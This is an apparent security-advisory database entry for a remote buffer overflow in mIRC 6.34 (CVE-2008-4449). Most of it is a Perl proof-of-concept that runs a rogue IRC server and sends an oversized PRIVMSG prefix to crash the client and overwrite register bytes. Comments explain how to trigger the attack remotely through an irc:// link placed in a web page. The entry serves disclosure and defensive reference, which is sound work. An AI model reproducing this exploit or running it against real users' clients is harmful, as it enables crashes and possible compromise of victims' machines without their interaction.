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SecurityAlert Database

Topic :

mIRC 6.34 Remote Buffer Overflow PoC

SecurityAlert : 4352

CVE : CVE-2008-4449

CWE : CWE-119

SecurityRisk : High Security Risk High

(About)

Remote Exploit : Yes

Local Exploit : No

Victim interaction required : No

Exploit Available : Yes

ExploitAlert :

4832

Credit : mirc

Published : 08.10.2008

Affected Software :

mirc:mirc:6.34

Advisory Content :

###########################################################################
#######################
# Mirc 6.34 Remote Buffer Overflow
#
# This poc allow you to own the 2 first EDI & EDX bytes.
#
# To become remote, add a simple
document.location.href=irc://server.com/... in some html page
#
use IO::Socket;

sub sock()
{
my $sock=new IO::Socket::INET (
Listen => 1,

LocalAddr => 'localhost',

LocalPort => 6667,

Proto => 'tcp'); die unless $sock;

print " [+]IRC Server started on port 6667 \r\n";

$s=$sock->accept();
$a = "A" x 313;
$twobytes = "\x43\x43";

print " [+]Sending pickles\r\n";

print $s ":irc_server.stuff 001 yow :Welcome to the Internet Relay Network
yow\r\n";
sleep(1);
print $s ":".$a.$twobytes." PRIVMSG yow : /FINGER yow.\r\n";
}
while(1)
{
sock();
print " [+]Mirc should be down now, another little friend comming ?\r\n
[+]Server Restarting\r\n";
}

References :

http://securityreason.com/expldownload/1/4832/1 (Exploit)

http://xforce.iss.net/xforce/xfdb/45624

http://www.securityfocus.com/bid/31552

http://www.frsirt.com/english/advisories/2008/2736

Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.

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